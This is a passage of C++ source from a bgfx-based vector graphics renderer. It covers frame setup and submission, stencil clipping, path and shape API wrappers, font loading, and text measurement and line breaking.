VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable = &g_CtxVTable; ctx->m_ActiveCommandList = VG_INVALID_HANDLE; #endif #if VG_CONFIG_ENABLE_SHAPE_CACHING ctx->m_CmdListCacheStackTop = ~0u; #endif VG_CHECK(ctx->m_StateStackTop == 0, "State stack hasn't been properly reset in the previous frame"); resetScissor(ctx); transformIdentity(ctx); ctx->m_FirstVertexBufferID = ctx->m_NumVertexBuffers; allocVertexBuffer(ctx); ctx->m_ActiveIndexBufferID = allocIndexBuffer(ctx); VG_CHECK(ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID].m_Count == 0, "Not empty index buffer"); ctx->m_NumDrawCommands = 0; ctx->m_ForceNewDrawCommand = true; ctx->m_NumClipCommands = 0; ctx->m_ForceNewClipCommand = true; ctx->m_ClipState.m_FirstCmdID = ~0u; ctx->m_ClipState.m_NumCmds = 0; ctx->m_ClipState.m_Rule = ClipRule::In; ctx->m_NextGradientID = 0; ctx->m_NextImagePatternID = 0; } void end(Context* ctx) { VG_CHECK(ctx->m_StateStackTop == 0, "pushState()/popState() mismatch"); VG_CHECK(!isValid(ctx->m_ActiveCommandList), "endCommandList() hasn't been called"); const uint32_t numDrawCommands = ctx->m_NumDrawCommands; if (numDrawCommands == 0) { // Release the vertex buffer allocated in beginFrame() VertexBuffer* vb = &ctx->m_VertexBuffers[ctx->m_FirstVertexBufferID]; releaseVertexBufferData_Vec2(ctx, vb->m_Pos); releaseVertexBufferData_Uint32(ctx, vb->m_Color); #if VG_CONFIG_UV_INT16 releaseVertexBufferData_UV(ctx, vb->m_UV); #else releaseVertexBufferData_Vec2(ctx, vb->m_UV); #endif return; } flushTextAtlas(ctx); // Update bgfx vertex buffers... const uint32_t numVertexBuffers = ctx->m_NumVertexBuffers; for (uint32_t iVB = ctx->m_FirstVertexBufferID; iVB < numVertexBuffers; ++iVB) { VertexBuffer* vb = &ctx->m_VertexBuffers[iVB]; GPUVertexBuffer* gpuvb = &ctx->m_GPUVertexBuffers[iVB]; const uint32_t maxVBVertices = ctx->m_Config.m_MaxVBVertices; if (!bgfx::isValid(gpuvb->m_PosBufferHandle)) { gpuvb->m_PosBufferHandle = bgfx::createDynamicVertexBuffer(maxVBVertices, ctx->m_PosVertexDecl, 0); ctx->m_Stats.m_GPUDynVBs++; } if (!bgfx::isValid(gpuvb->m_UVBufferHandle)) { gpuvb->m_UVBufferHandle = bgfx::createDynamicVertexBuffer(maxVBVertices, ctx->m_UVVertexDecl, 0); ctx->m_Stats.m_GPUDynVBs++; } if (!bgfx::isValid(gpuvb->m_ColorBufferHandle)) { gpuvb->m_ColorBufferHandle = bgfx::createDynamicVertexBuffer(maxVBVertices, ctx->m_ColorVertexDecl, 0); ctx->m_Stats.m_GPUDynVBs++; } const bgfx::Memory* posMem = bgfx::makeRef(vb->m_Pos, sizeof(float) * 2 * vb->m_Count, releaseVertexBufferDataCallback_Vec2, ctx); const bgfx::Memory* colorMem = bgfx::makeRef(vb->m_Color, sizeof(uint32_t) * vb->m_Count, releaseVertexBufferDataCallback_Uint32, ctx); #if VG_CONFIG_UV_INT16 const bgfx::Memory* uvMem = bgfx::makeRef(vb->m_UV, sizeof(int16_t) * 2 * vb->m_Count, releaseVertexBufferDataCallback_UV, ctx); #else const bgfx::Memory* uvMem = bgfx::makeRef(vb->m_UV, sizeof(float) * 2 * vb->m_Count, releaseVertexBufferDataCallback_Vec2, ctx); #endif bgfx::update(gpuvb->m_PosBufferHandle, 0, posMem); bgfx::update(gpuvb->m_UVBufferHandle, 0, uvMem); bgfx::update(gpuvb->m_ColorBufferHandle, 0, colorMem); vb->m_Pos = nullptr; vb->m_UV = nullptr; vb->m_Color = nullptr; } // Update bgfx index buffer... IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; GPUIndexBuffer* gpuib = &ctx->m_GPUIndexBuffers[ctx->m_ActiveIndexBufferID]; const bgfx::Memory* indexMem = bgfx::makeRef(&ib->m_Indices[0], sizeof(uint16_t) * ib->m_Count, releaseIndexBufferCallback, ctx); if (!bgfx::isValid(gpuib->m_bgfxHandle)) { gpuib->m_bgfxHandle = bgfx::createDynamicIndexBuffer(indexMem, BGFX_BUFFER_ALLOW_RESIZE); ctx->m_Stats.m_GPUDynIBs++; } else { bgfx::update(gpuib->m_bgfxHandle, 0, indexMem); } const uint16_t viewID = ctx->m_ViewID; const uint16_t canvasWidth = ctx->m_CanvasWidth; const uint16_t canvasHeight = ctx->m_CanvasHeight; float viewMtx[16]; float projMtx[16]; bx::mtxIdentity(viewMtx); bx::mtxOrtho(projMtx, 0.0f, (float)canvasWidth, (float)canvasHeight, 0.0f, 0.0f, 1.0f, 0.0f, bgfx::getCaps()->homogeneousDepth); bgfx::setViewTransform(viewID, viewMtx, projMtx); uint16_t prevScissorRect[4] = { 0, 0, canvasWidth, canvasHeight}; uint16_t prevScissorID = UINT16_MAX; uint32_t prevClipCmdID = UINT32_MAX; uint32_t stencilState = BGFX_STENCIL_NONE; uint8_t nextStencilValue = 1; for (uint32_t iCmd = 0; iCmd < numDrawCommands; ++iCmd) { DrawCommand* cmd = &ctx->m_DrawCommands[iCmd]; const ClipState* cmdClipState = &cmd->m_ClipState; if (cmdClipState->m_FirstCmdID != prevClipCmdID) { prevClipCmdID = cmdClipState->m_FirstCmdID; const uint32_t numClipCommands = cmdClipState->m_NumCmds; if (numClipCommands) { for (uint32_t iClip = 0; iClip < numClipCommands; ++iClip) { VG_CHECK(cmdClipState->m_FirstCmdID + iClip < ctx->m_NumClipCommands, "Invalid clip command index"); DrawCommand* clipCmd = &ctx->m_ClipCommands[cmdClipState->m_FirstCmdID + iClip]; GPUVertexBuffer* gpuvb = &ctx->m_GPUVertexBuffers[clipCmd->m_VertexBufferID]; bgfx::setVertexBuffer(0, gpuvb->m_PosBufferHandle, clipCmd->m_FirstVertexID, clipCmd->m_NumVertices); bgfx::setIndexBuffer(gpuib->m_bgfxHandle, clipCmd->m_FirstIndexID, clipCmd->m_NumIndices); // Set scissor. { const uint16_t* cmdScissorRect = &clipCmd->m_ScissorRect[0]; if (!bx::memCmp(cmdScissorRect, &prevScissorRect[0], sizeof(uint16_t) * 4)) { bgfx::setScissor(prevScissorID); } else { prevScissorID = bgfx::setScissor(cmdScissorRect[0], cmdScissorRect[1], cmdScissorRect[2], cmdScissorRect[3]); bx::memCopy(prevScissorRect, cmdScissorRect, sizeof(uint16_t) * 4); } } VG_CHECK(clipCmd->m_Type == DrawCommand::Type::Clip, "Invalid clip command"); VG_CHECK(clipCmd->m_HandleID == UINT16_MAX, "Invalid clip command image handle"); bgfx::setState(0); bgfx::setStencil(0 | BGFX_STENCIL_TEST_ALWAYS // pass always | BGFX_STENCIL_FUNC_REF(nextStencilValue) // value = nextStencilValue | BGFX_STENCIL_FUNC_RMASK(0xff) | BGFX_STENCIL_OP_FAIL_S_REPLACE | BGFX_STENCIL_OP_FAIL_Z_REPLACE | BGFX_STENCIL_OP_PASS_Z_REPLACE, BGFX_STENCIL_NONE); // TODO: Check if it's better to use Type_TexturedVertexColor program here to avoid too many // state switches. bgfx::submit(viewID, ctx->m_ProgramHandle[DrawCommand::Type::Clip]); } stencilState = 0 | ((cmdClipState->m_Rule == ClipRule::In || cmdClipState->m_Rule == ClipRule::HoldIn) ? BGFX_STENCIL_TEST_EQUAL : BGFX_STENCIL_TEST_NOTEQUAL) | BGFX_STENCIL_FUNC_REF(nextStencilValue) | BGFX_STENCIL_FUNC_RMASK(0xff) | BGFX_STENCIL_OP_FAIL_S_KEEP | BGFX_STENCIL_OP_FAIL_Z_KEEP | BGFX_STENCIL_OP_PASS_Z_KEEP; if (cmdClipState->m_Rule == ClipRule::In || cmdClipState->m_Rule == ClipRule::Out) { ++nextStencilValue; } } else { stencilState = BGFX_STENCIL_NONE; } } GPUVertexBuffer* gpuvb = &ctx->m_GPUVertexBuffers[cmd->m_VertexBufferID]; bgfx::setVertexBuffer(0, gpuvb->m_PosBufferHandle, cmd->m_FirstVertexID, cmd->m_NumVertices); bgfx::setVertexBuffer(1, gpuvb->m_ColorBufferHandle, cmd->m_FirstVertexID, cmd->m_NumVertices); bgfx::setIndexBuffer(gpuib->m_bgfxHandle, cmd->m_FirstIndexID, cmd->m_NumIndices); // Set scissor. { const uint16_t* cmdScissorRect = &cmd->m_ScissorRect[0]; if (!bx::memCmp(cmdScissorRect, &prevScissorRect[0], sizeof(uint16_t) * 4)) { bgfx::setScissor(prevScissorID); } else { prevScissorID = bgfx::setScissor(cmdScissorRect[0], cmdScissorRect[1], cmdScissorRect[2], cmdScissorRect[3]); bx::memCopy(prevScissorRect, cmdScissorRect, sizeof(uint16_t) * 4); } } if (cmd->m_Type == DrawCommand::Type::Textured) { VG_CHECK(cmd->m_HandleID != UINT16_MAX, "Invalid image handle"); Image* tex = &ctx->m_Images[cmd->m_HandleID]; bgfx::setVertexBuffer(2, gpuvb->m_UVBufferHandle, cmd->m_FirstVertexID, cmd->m_NumVertices); bgfx::setTexture(0, ctx->m_TexUniform, tex->m_bgfxHandle, tex->m_Flags); bgfx::setState(0 | BGFX_STATE_WRITE_A | BGFX_STATE_WRITE_RGB | BGFX_STATE_BLEND_FUNC_SEPARATE(BGFX_STATE_BLEND_SRC_ALPHA, BGFX_STATE_BLEND_INV_SRC_ALPHA, BGFX_STATE_BLEND_ONE, BGFX_STATE_BLEND_INV_SRC_ALPHA)); bgfx::setStencil(stencilState); bgfx::submit(viewID, ctx->m_ProgramHandle[DrawCommand::Type::Textured]); } else if (cmd->m_Type == DrawCommand::Type::ColorGradient) { VG_CHECK(cmd->m_HandleID != UINT16_MAX, "Invalid gradient handle"); Gradient* grad = &ctx->m_Gradients[cmd->m_HandleID]; bgfx::setUniform(ctx->m_PaintMatUniform, grad->m_Matrix, 1); bgfx::setUniform(ctx->m_ExtentRadiusFeatherUniform, grad->m_Params, 1); bgfx::setUniform(ctx->m_InnerColorUniform, grad->m_InnerColor, 1); bgfx::setUniform(ctx->m_OuterColorUniform, grad->m_OuterColor, 1); bgfx::setState(0 | BGFX_STATE_WRITE_A | BGFX_STATE_WRITE_RGB | BGFX_STATE_BLEND_FUNC_SEPARATE(BGFX_STATE_BLEND_SRC_ALPHA, BGFX_STATE_BLEND_INV_SRC_ALPHA, BGFX_STATE_BLEND_ONE, BGFX_STATE_BLEND_INV_SRC_ALPHA)); bgfx::setStencil(stencilState); bgfx::submit(viewID, ctx->m_ProgramHandle[DrawCommand::Type::ColorGradient]); } else if(cmd->m_Type == DrawCommand::Type::ImagePattern) { VG_CHECK(cmd->m_HandleID != UINT16_MAX, "Invalid image pattern handle"); ImagePattern* imgPattern = &ctx->m_ImagePatterns[cmd->m_HandleID]; VG_CHECK(isValid(imgPattern->m_ImageHandle), "Invalid image handle in pattern"); Image* tex = &ctx->m_Images[imgPattern->m_ImageHandle.idx]; bgfx::setTexture(0, ctx->m_TexUniform, tex->m_bgfxHandle, tex->m_Flags); bgfx::setUniform(ctx->m_PaintMatUniform, imgPattern->m_Matrix, 1); bgfx::setState(0 | BGFX_STATE_WRITE_A | BGFX_STATE_WRITE_RGB | BGFX_STATE_BLEND_FUNC_SEPARATE(BGFX_STATE_BLEND_SRC_ALPHA, BGFX_STATE_BLEND_INV_SRC_ALPHA, BGFX_STATE_BLEND_ONE, BGFX_STATE_BLEND_INV_SRC_ALPHA)); bgfx::setStencil(stencilState); bgfx::submit(viewID, ctx->m_ProgramHandle[DrawCommand::Type::ImagePattern]); } else { VG_CHECK(false, "Unknown draw command type"); } } } void frame(Context* ctx) { ctx->m_NumVertexBuffers = 0; if (ctx->m_FontImageID != 0) { ImageHandle fontImage = ctx->m_FontImages[ctx->m_FontImageID]; // delete images that smaller than current one if (isValid(fontImage)) { uint16_t iw, ih; getImageSize(ctx, fontImage, &iw, &ih); uint32_t j = 0; for (uint32_t i = 0; i < ctx->m_FontImageID; i++) { if (isValid(ctx->m_FontImages[i])) { uint16_t nw, nh; getImageSize(ctx, ctx->m_FontImages[i], &nw, &nh); if (nw < iw || nh < ih) { destroyImage(ctx, ctx->m_FontImages[i]); } else { ctx->m_FontImages[j++] = ctx->m_FontImages[i]; } } } // make current font image to first ctx->m_FontImages[j++] = ctx->m_FontImages[0]; ctx->m_FontImages[0] = fontImage; ctx->m_FontImageID = 0; updateWhitePixelUV(ctx); // clear all images after j for (int i = j; i < VG_CONFIG_MAX_FONT_IMAGES; i++) { ctx->m_FontImages[i] = VG_INVALID_HANDLE; } } } } const Stats* getStats(Context* ctx) { return &ctx->m_Stats; } void beginPath(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->beginPath(ctx); #else ctxBeginPath(ctx); #endif } void moveTo(Context* ctx, float x, float y) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->moveTo(ctx, x, y); #else ctxMoveTo(ctx, x, y); #endif } void lineTo(Context* ctx, float x, float y) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->lineTo(ctx, x, y); #else ctxLineTo(ctx, x, y); #endif } void cubicTo(Context* ctx, float c1x, float c1y, float c2x, float c2y, float x, float y) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->cubicTo(ctx, c1x, c1y, c2x, c2y, x, y); #else ctxCubicTo(ctx, c1x, c1y, c2x, c2y, x, y); #endif } void quadraticTo(Context* ctx, float cx, float cy, float x, float y) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->quadraticTo(ctx, cx, cy, x, y); #else ctxQuadraticTo(ctx, cx, cy, x, y); #endif } void arc(Context* ctx, float cx, float cy, float r, float a0, float a1, Winding::Enum dir) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->arc(ctx, cx, cy, r, a0, a1, dir); #else ctxArc(ctx, cx, cy, r, a0, a1, dir); #endif } void arcTo(Context* ctx, float x1, float y1, float x2, float y2, float r) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->arcTo(ctx, x1, y1, x2, y2, r); #else ctxArcTo(ctx, x1, y1, x2, y2, r); #endif } void rect(Context* ctx, float x, float y, float w, float h) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->rect(ctx, x, y, w, h); #else ctxRect(ctx, x, y, w, h); #endif } void roundedRect(Context* ctx, float x, float y, float w, float h, float r) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->roundedRect(ctx, x, y, w, h, r); #else ctxRoundedRect(ctx, x, y, w, h, r); #endif } void roundedRectVarying(Context* ctx, float x, float y, float w, float h, float rtl, float rtr, float rbr, float rbl) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->roundedRectVarying(ctx, x, y, w, h, rtl, rtr, rbr, rbl); #else ctxRoundedRectVarying(ctx, x, y, w, h, rtl, rtr, rbr, rbl); #endif } void circle(Context* ctx, float cx, float cy, float radius) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->circle(ctx, cx, cy, radius); #else ctxCircle(ctx, cx, cy, radius); #endif } void ellipse(Context* ctx, float cx, float cy, float rx, float ry) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->ellipse(ctx, cx, cy, rx, ry); #else ctxEllipse(ctx, cx, cy, rx, ry); #endif } void polyline(Context* ctx, const float* coords, uint32_t numPoints) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->polyline(ctx, coords, numPoints); #else ctxPolyline(ctx, coords, numPoints); #endif } void closePath(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->closePath(ctx); #else ctxClosePath(ctx); #endif } void fillPath(Context* ctx, Color color, uint32_t flags) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->fillPathColor(ctx, color, flags); #else ctxFillPathColor(ctx, color, flags); #endif } void fillPath(Context* ctx, GradientHandle gradientHandle, uint32_t flags) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->fillPathGradient(ctx, gradientHandle, flags); #else ctxFillPathGradient(ctx, gradientHandle, flags); #endif } void fillPath(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, uint32_t flags) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->fillPathImagePattern(ctx, imgPatternHandle, color, flags); #else ctxFillPathImagePattern(ctx, imgPatternHandle, color, flags); #endif } void strokePath(Context* ctx, Color color, float width, uint32_t flags) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->strokePathColor(ctx, color, width, flags); #else ctxStrokePathColor(ctx, color, width, flags); #endif } void strokePath(Context* ctx, GradientHandle gradientHandle, float width, uint32_t flags) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->strokePathGradient(ctx, gradientHandle, width, flags); #else ctxStrokePathGradient(ctx, gradientHandle, width, flags); #endif } void strokePath(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, float width, uint32_t flags) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->strokePathImagePattern(ctx, imgPatternHandle, color, width, flags); #else ctxStrokePathImagePattern(ctx, imgPatternHandle, color, width, flags); #endif } void beginClip(Context* ctx, ClipRule::Enum rule) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->beginClip(ctx, rule); #else ctxBeginClip(ctx, rule); #endif } void endClip(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->endClip(ctx); #else ctxEndClip(ctx); #endif } void resetClip(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->resetClip(ctx); #else ctxResetClip(ctx); #endif } GradientHandle createLinearGradient(Context* ctx, float sx, float sy, float ex, float ey, Color icol, Color ocol) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API return ctx->m_VTable->createLinearGradient(ctx, sx, sy, ex, ey, icol, ocol); #else return ctxCreateLinearGradient(ctx, sx, sy, ex, ey, icol, ocol); #endif } GradientHandle createBoxGradient(Context* ctx, float x, float y, float w, float h, float r, float f, Color icol, Color ocol) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API return ctx->m_VTable->createBoxGradient(ctx, x, y, w, h, r, f, icol, ocol); #else return ctxCreateBoxGradient(ctx, x, y, w, h, r, f, icol, ocol); #endif } GradientHandle createRadialGradient(Context* ctx, float cx, float cy, float inr, float outr, Color icol, Color ocol) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API return ctx->m_VTable->createRadialGradient(ctx, cx, cy, inr, outr, icol, ocol); #else return ctxCreateRadialGradient(ctx, cx, cy, inr, outr, icol, ocol); #endif } ImagePatternHandle createImagePattern(Context* ctx, float cx, float cy, float w, float h, float angle, ImageHandle image) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API return ctx->m_VTable->createImagePattern(ctx, cx, cy, w, h, angle, image); #else return ctxCreateImagePattern(ctx, cx, cy, w, h, angle, image); #endif } void pushState(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->pushState(ctx); #else ctxPushState(ctx); #endif } void popState(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->popState(ctx); #else ctxPopState(ctx); #endif } void resetScissor(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->resetScissor(ctx); #else ctxResetScissor(ctx); #endif } void setScissor(Context* ctx, float x, float y, float w, float h) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->setScissor(ctx, x, y, w, h); #else ctxSetScissor(ctx, x, y, w, h); #endif } bool intersectScissor(Context* ctx, float x, float y, float w, float h) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API return ctx->m_VTable->intersectScissor(ctx, x, y, w, h); #else return ctxIntersectScissor(ctx, x, y, w, h); #endif } void transformIdentity(Context* ctx) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->transformIdentity(ctx); #else ctxTransformIdentity(ctx); #endif } void transformScale(Context* ctx, float x, float y) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->transformScale(ctx, x, y); #else ctxTransformScale(ctx, x, y); #endif } void transformTranslate(Context* ctx, float x, float y) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->transformTranslate(ctx, x, y); #else ctxTransformTranslate(ctx, x, y); #endif } void transformRotate(Context* ctx, float ang_rad) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->transformRotate(ctx, ang_rad); #else ctxTransformRotate(ctx, ang_rad); #endif } void transformMult(Context* ctx, const float* mtx, TransformOrder::Enum order) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->transformMult(ctx, mtx, order); #else ctxTransformMult(ctx, mtx, order); #endif } void setViewBox(Context* ctx, float x, float y, float w, float h) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->setViewBox(ctx, x, y, w, h); #else ctxSetViewBox(ctx, x, y, w, h); #endif } void indexedTriList(Context* ctx, const float* pos, const uv_t* uv, uint32_t numVertices, const Color* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices, ImageHandle img) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->indexedTriList(ctx, pos, uv, numVertices, colors, numColors, indices, numIndices, img); #else ctxIndexedTriList(ctx, pos, uv, numVertices, colors, numColors, indices, numIndices, img); #endif } void text(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->text(ctx, cfg, x, y, str, end); #else ctxText(ctx, cfg, x, y, str, end); #endif } void textBox(Context* ctx, const TextConfig& cfg, float x, float y, float breakWidth, const char* str, const char* end, uint32_t textboxFlags) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->textBox(ctx, cfg, x, y, breakWidth, str, end, textboxFlags); #else ctxTextBox(ctx, cfg, x, y, breakWidth, str, end, textboxFlags); #endif } void submitCommandList(Context* ctx, CommandListHandle handle) { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable->submitCommandList(ctx, handle); #else ctxSubmitCommandList(ctx, handle); #endif } void setGlobalAlpha(Context* ctx, float alpha) { State* state = getState(ctx); state->m_GlobalAlpha = alpha; } void getTransform(Context* ctx, float* mtx) { const State* state = getState(ctx); bx::memCopy(mtx, state->m_TransformMtx, sizeof(float) * 6); } void getScissor(Context* ctx, float* rect) { const State* state = getState(ctx); bx::memCopy(rect, state->m_ScissorRect, sizeof(float) * 4); } FontHandle createFont(Context* ctx, const char* name, uint8_t* data, uint32_t size, uint32_t flags) { if (ctx->m_NextFontID == ctx->m_Config.m_MaxFonts) { return VG_INVALID_HANDLE; } const bool copyData = (flags & FontFlags::DontCopyData) == 0; uint8_t* fontData = nullptr; if (copyData) { fontData = (uint8_t*)BX_ALLOC(ctx->m_Allocator, size); bx::memCopy(fontData, data, size); } else { fontData = data; } int fonsHandle = fonsAddFontMem(ctx->m_FontStashContext, name, fontData, size, 0); if (fonsHandle == FONS_INVALID) { if (copyData) { BX_FREE(ctx->m_Allocator, fontData); } return VG_INVALID_HANDLE; } FontData* fd = &ctx->m_FontData[ctx->m_NextFontID++]; fd->m_FonsHandle = fonsHandle; fd->m_Data = fontData; fd->m_Owned = copyData; return { (uint16_t)fonsHandle }; } FontHandle getFontByName(Context* ctx, const char* name) { const int fonsHandle = fonsGetFontByName(ctx->m_FontStashContext, name); return { (uint16_t)fonsHandle }; } bool setFallbackFont(Context* ctx, FontHandle base, FontHandle fallback) { VG_CHECK(isValid(base) && isValid(fallback), "Invalid font handle"); FONScontext* fons = ctx->m_FontStashContext; return fonsAddFallbackFont(fons, base.idx, fallback.idx) == 1; } float measureText(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end, float* bounds) { // nvgTextBounds() const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float invscale = 1.0f / scale; FONScontext* fons = ctx->m_FontStashContext; fonsSetSize(fons, cfg.m_FontSize * scale); fonsSetAlign(fons, cfg.m_Alignment); fonsSetBlur(fons, cfg.m_Blur); fonsSetFont(fons, cfg.m_FontHandle.idx); float width = fonsTextBounds(fons, x * scale, y * scale, str, end, bounds); if (bounds != nullptr) { // Use line bounds for height. fonsLineBounds(fons, y * scale, &bounds[1], &bounds[3]); bounds[0] *= invscale; bounds[1] *= invscale; bounds[2] *= invscale; bounds[3] *= invscale; } return width * invscale; } void measureTextBox(Context* ctx, const TextConfig& cfg, float x, float y, float breakWidth, const char* text, const char* end, float* bounds, uint32_t flags) { const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float invscale = 1.0f / scale; const uint32_t alignment = cfg.m_Alignment; const uint32_t halign = alignment & (FONS_ALIGN_LEFT | FONS_ALIGN_CENTER | FONS_ALIGN_RIGHT); const uint32_t valign = alignment & (FONS_ALIGN_TOP | FONS_ALIGN_MIDDLE | FONS_ALIGN_BOTTOM | FONS_ALIGN_BASELINE); const uint32_t newAlignment = FONS_ALIGN_LEFT | valign; FONScontext* fons = ctx->m_FontStashContext; fonsSetAlign(fons, newAlignment); fonsSetSize(fons, cfg.m_FontSize * scale); fonsSetBlur(fons, cfg.m_Blur); fonsSetFont(fons, cfg.m_FontHandle.idx); float lineh; fonsVertMetrics(fons, nullptr, nullptr, &lineh); lineh *= invscale; float rminy = 0, rmaxy = 0; fonsLineBounds(fons, 0, &rminy, &rmaxy); rminy *= invscale; rmaxy *= invscale; float minx, miny, maxx, maxy; minx = maxx = x; miny = maxy = y; TextRow rows[5]; int nrows = 0; const TextConfig newTextCfg = { cfg.m_FontHandle, cfg.m_FontSize, newAlignment, vg::Colors::Transparent }; while ((nrows = textBreakLines(ctx, newTextCfg, text, end, breakWidth, rows, 5, flags))) { for (uint32_t i = 0; i < (uint32_t)nrows; i++) { const TextRow* row = &rows[i]; // Horizontal bounds float dx = 0.0f; // Assume left align if (halign & FONS_ALIGN_CENTER) { dx = row->width * 0.5f; } else if (halign & FONS_ALIGN_RIGHT) { dx = breakWidth - row->width; } const float rminx = x - dx; const float rmaxx = x + dx; minx = bx::min<float>(minx, rminx); maxx = bx::max<float>(maxx, rmaxx); // Vertical bounds. miny = bx::min<float>(miny, y + rminy); maxy = bx::max<float>(maxy, y + rmaxy); y += lineh; // Assume line height multiplier of 1.0 } text = rows[nrows - 1].next; } if (bounds != nullptr) { bounds[0] = minx; bounds[1] = miny; bounds[2] = maxx; bounds[3] = maxy; } } float getTextLineHeight(Context* ctx, const TextConfig& cfg) { const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float invscale = 1.0f / scale; FONScontext* fons = ctx->m_FontStashContext; fonsSetSize(fons, cfg.m_FontSize * scale); fonsSetAlign(fons, cfg.m_Alignment); fonsSetBlur(fons, cfg.m_Blur); fonsSetFont(fons, cfg.m_FontHandle.idx); float lineh; fonsVertMetrics(fons, nullptr, nullptr, &lineh); lineh *= invscale; return lineh; } int textBreakLines(Context* ctx, const TextConfig& cfg, const char* str, const char* end, float breakRowWidth, TextRow* rows, int maxRows, uint32_t flags) { // nvgTextBreakLines() #define CP_SPACE 0 #define CP_NEW_LINE 1 #define CP_CHAR 2 const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float invscale = 1.0f / scale; if (maxRows == 0) { return 0; } if (end == nullptr) { end = str + bx::strLen(str); } if (str == end) { return 0; } FONScontext* fons = ctx->m_FontStashContext; fonsSetSize(fons, cfg.m_FontSize * scale); fonsSetAlign(fons, cfg.m_Alignment); fonsSetBlur(fons, cfg.m_Blur); fonsSetFont(fons, cfg.m_FontHandle.idx); breakRowWidth *= scale; int nrows = 0; float rowStartX = 0; float rowWidth = 0; float rowMinX = 0; float rowMaxX = 0; const char* rowStart = nullptr; const char* rowEnd = nullptr; const char* wordStart = nullptr; float wordStartX = 0; float wordMinX = 0; const char* breakEnd = nullptr; float breakWidth = 0; float breakMaxX = 0; int type = CP_SPACE, ptype = CP_SPACE; unsigned int pcodepoint = 0; FONStextIter iter, prevIter; fonsTextIterInit(fons, &iter, 0, 0, str, end, FONS_GLYPH_BITMAP_OPTIONAL); prevIter = iter; FONSquad q; while (fonsTextIterNext(fons, &iter, &q)) { if (iter.prevGlyphIndex < 0 && allocTextAtlas(ctx)) { // can not retrieve glyph? iter = prevIter; fonsTextIterNext(fons, &iter, &q); // try again } prevIter = iter; switch (iter.codepoint) { case 9: // \t case 11: // \v case 12: // \f case 0x00a0: // NBSP type = CP_SPACE; break; case 32: // space // JD: Treat spaces as regular characters in order to be able to have pre and post spaces in an edit box. if (flags & TextBoxFlags::KeepSpaces) { type = CP_CHAR; } else { type = CP_SPACE; } break; case 10: // \n type = pcodepoint == 13 ? CP_SPACE : CP_NEW_LINE; break; case 13: // \r type = pcodepoint == 10 ? CP_SPACE : CP_NEW_LINE; break; case 0x0085: // NEL type = CP_NEW_LINE; break; default: type = CP_CHAR; break; } if (type == CP_NEW_LINE) { // Always handle new lines. rows[nrows].start = rowStart != nullptr ? rowStart : iter.str; rows[nrows].end = rowEnd != nullptr ? rowEnd : iter.str; rows[nrows].width = rowWidth * invscale; rows[nrows].minx = rowMinX * invscale; rows[nrows].maxx = rowMaxX * invscale; rows[nrows].next = iter.next; nrows++; if (nrows 